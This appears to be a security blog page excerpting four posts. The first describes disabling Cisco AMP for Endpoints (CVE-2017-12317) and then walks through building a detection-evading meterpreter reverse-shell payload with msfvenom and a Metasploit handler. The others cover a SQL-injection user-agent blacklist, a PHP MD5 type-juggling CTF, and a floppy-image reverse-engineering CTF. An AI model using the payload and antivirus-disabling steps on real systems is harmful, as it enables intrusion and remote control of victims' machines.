AMPutations : Disabling Cisco AMP for Endpoints before detection

Edited 1/22/18: The original posting of this was removed temporarily pending Cisco patch of the issue. The newest connector version addresses the ability to obtain the decryption key via anti-debugging, however the key still has not been changed and this method still works for disabling the connector. The CVE assigned to my findings is: CVE-2017-12317

Original post October 2017:

Cisco AMP for Endpoints has a Connector Password Protection feature. This protects the application from being uninstalled and the service from being disabled.

However, with the password protection feature enabled, it is possible to kill the NOT_STOPPABLE, NOT_PAUSABLE service using the sfc.exe command line:

sfc.exe -k {protector password}

Reverse engineering the uninstaller allows us to derive the AES decryption key that is used to encrypt the protector password. The password itself is stored encrypted and finally encoded to BASE64 in the policy.xml file.

FOR THIS TESTING WE ARE USING  A WINDOWS 10 64 BIT VM – (WinDev1709Eval w/ Windows Defender Disabled)

Unstoppable Service

If you attempt to stop the service, even via an elevated prompt, you will fail.

The only way to stop it while AMP is running is via uninstall or passing the SFC.EXE -k command-line with a valid password – this too must be done using an elevated prompt.


Meterpreter Setup

First lets build out an executable we can run on the target machine that will spawn a reverse_tcp meterpreter session back to a Kali box. We want to evade simple detection by AMP, so lets build it using MSFVENOM

msfvenom -p windows/x64/meterpreter/reverse_tcp -b '\x00' lhost={KALI IP} lport=8443 -i 10 -f exe -o {OUTPUT EXE FILENAME}

The ‘-p’ selects our payload and ‘-b’ specifies that null bytes are bad. Make sure you select the correct architecture for the payload as well (‘x64’ or ‘x86’) for your target operating system.

As with setting up any payload we also include our Kali/MSF host via LHOST and LPORT.

We set ‘-i’ to 10. This means the payload will be encoded through 10 iterations. At this time 10 iterations of this standard payload is detected, but increasing the iterations will solve this problem.

The ‘-f’ specifies the file format we want, so targeting a Windows 10 system, we will choose EXE for simplicity and set our output file with ‘-o’.


Metasploit Setup

Load up metasploit:


Once loaded, lets setup to listen for our reverse shell using exploit/multi/handler

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LPORT 8443
set ExitOnSession false

Now you are successfully set up to wait for the target to run the malicious EXE.

Later in our post-run we will be using a Python script that is going to access the MSF RPC. So we will run one additional command in the msfconsole:

load msgrpc Password=abc123

Continue reading “AMPutations : Disabling Cisco AMP for Endpoints before detection”

SQL Injection Probe by User Agent

The following user-agent should be blacklisted due to SQL injection probing and occasional injection attempts:



A common signature is uri queries with the string A=0 or 0=A.

It has been tracked from 448 unique IP addresses over the last 7 days for a total of 5384 requests.

Given that this user string is significantly outdated, there should be little concern with dropping legitimate traffic.

Some example injection strings:





Recently seen IP addresses (click read more for list):

Continue reading “SQL Injection Probe by User Agent”


10 years has passed since MD5 was broken, yet it is still frequently used in web applications, particularly PHP powered applications (maybe because there’s a function after it?). Break it again to prove the point!

We are given access to the source code:

if (isset($_GET['src']))
    highlight_file(__FILE__) and die();
if (isset($_GET['md5']))
    if ($md5==md5($md5))
        echo "Wonderbubulous! Flag is [here goes a flag]"; //.require __DIR__."/flag.php";
        echo "Nah... '",htmlspecialchars($md5),"' not the same as ",md5($md5);


As we can see we need to generate an MD5 hash that is ‘equal’ to the string it was generated from.

The flaw in the source is the result of a type juggling issue with the comparison using ‘==‘ instead of ‘===‘.

When using ‘==‘ both values being compared that have have ‘0e’ will be converted to a float value such that the string has leading zeroes into an ‘e’ and followed by only integers.

Consider the following:

var_dump('000e1032' == '00e032098103123'); // Returns True
var_dump('000e1032' === '00e032098103123'); // Returns False
var_dump('000e1032' == '00e03209A103123'); // Returns False

A common misconception is that this would be entirely limited to values starting with 0e. However, we can have any number of leading zeroes.

So in order to create a ‘collision’ we need to find a string that matches a regex of ‘^[0]{1,30}e[0-9]{1,30}$’ and that also has an MD5 value matching that regex.

I setup the script with a single argument that I planned to use for a range of 0-32.

I have an empty file setup that each additional process can check to see if another process found the collision.  The aim here is to maximize CPU without being limited to a single core via the process.

Essentially each value from 0-32 represents a block of 15 million attempts.

We setup the counter based on the process integer from 0-32 and multiply by one million:

count = int(thread_num) * MILL

Then we initiate our WHILE LOOP that first checks the output file to see if any other processes found a collision first:

if os.stat(OUTFILE).stsize > 0:

If not, then we enter our leading zero loop for each count value:

for i in range(1,16):
    m = hashlib.md5()
    plain = '0' * int(i) + 'e' + str(count)
    collide = m.hexdigest()

Lets break this down. The plain text that we will generate the hash from is going to have a number of zeroes equivalent to ‘i’ generated before ‘e’ followed by the current loop counter.

So, if we are at the very start of process 3, our current plain value would be ‘0e3000000’. As we step through the ‘i’ loop it will increase. So once ‘i’ is 10 for example, the plain value will be ‘0000000000e3000000’.

To illustrate the order that hashes are being generated:


We then check it against our regex to see if it matches and will work:

if re.match('^[0]{1,30}e[0-9]{1,30}$',collide):
   f=open(OUTFILE, 'w+')
   f.write('[+]:: Collision Found!\n[+]:: Value '+str(plain)+'\n[+]:: HASH '+collide)
   print '[+]:: Execution Time - ' + str( - starttime)
   print '[+]:: Hashes Generated - ' + str((count - (MILL*int(thread_num))) * 16 - i)


There are plenty of ways we can execute our script to open multiple processes (for loops, python, etc). I have too many issues with my workstation not maximizing CPU with threading and mp modules to try to waste time troubleshooting for now. Once we run with command line ‘python x’ where x is 0-32, we can find the hash in just a few seconds.

Turns out process number 9 generates a match the quickest per the md5_out.txt file:

[+]:: Collision Found!
[+]:: Value 0000e9012915
[+]:: HASH 0e799233929553026239472795857843

[+]:: Execution Time – 0:00:05.844000

Square CTF 2017 – FLOPPY – REVERSE 1000 PTS

Our team of corn snakes formed an uneasy alliance with the office mice and slithered into the server room of Evil Robot Corp. They extracted an image of the VPN server before they had to retreat. Turns out sending a team of reptiles into a room whose main purpose is to keep its contents cold wasn’t the best idea. Can you figure out how this bootable floppy works and recover the secret data?

We are presented with a download link for ‘floppy.img’. The file appears to be a DOS/MBR boot sector that is not mountable.

I decided to use Boch’s Emulator to test this image. When configuring Boch’s there are two setting groups that need to be updated – ‘Memory’ and ‘Disk & Boot’

In the ‘Memory’ settings ensure you have the latest Boch’s ROM BIOS and VGA BIOS images and update their paths:

In the ‘Disk and Boot’ configure the following settings and select the ‘floppy.img’ file for First floppy/image device:

Once configured click start and let it load to the Challenge screen:

We enter random input ‘ASDF’ and see a response of ‘Nope’.

So lets take a look under the hood. We are able to load this directly in IDA PRO x86 and review the code.

After loading ‘floppy.img’ in IDA, lets start with the Strings view (SHIFT+F12)

Here we can see the string ‘flag-‘ as well as ‘Nope’.  Double-click on the ‘flag-‘ string to see the IDA view including XREFs:

Click on the aFlag line and hit CTRL+X – this will list the XREFs to this string.

Clicking OK will bring us to the graph view of the function that is calling the string:

We can see a JNZ instruction that decides whether or not we see the ‘Flag-‘ string we want or the ‘Nope’ string.

There are more difficult ways to solve this challenge, but I want the fastest and easiest way. So for that we are simply going to patch the JNZ instruction bytes to a JZ instruction and save our new floppy.img. The result will be outputting the flag, no matter the input.

  • To start click on the line with our JNZ instruction – jnz loc_456
  • Click the ‘Edit’ menu
  • Scroll down to ‘Patch Program’
  • Click ‘Change Byte…’

You will see the following popup

In the values field, change the second byte 85 to 84 and Click OK.

You will notice the instruction change to JZ loc_456

Now to save your patched program click File -> Produce File -> Create EXE. And save the file as patched_floppy.img.

Head back to Boch’s and update your ‘Boot and Disk’ settings to point to your new ‘patched_floppy.img’ and Start it up.

Enter random characters, in this case ‘DSFS’ and the flag will now be output to the screen: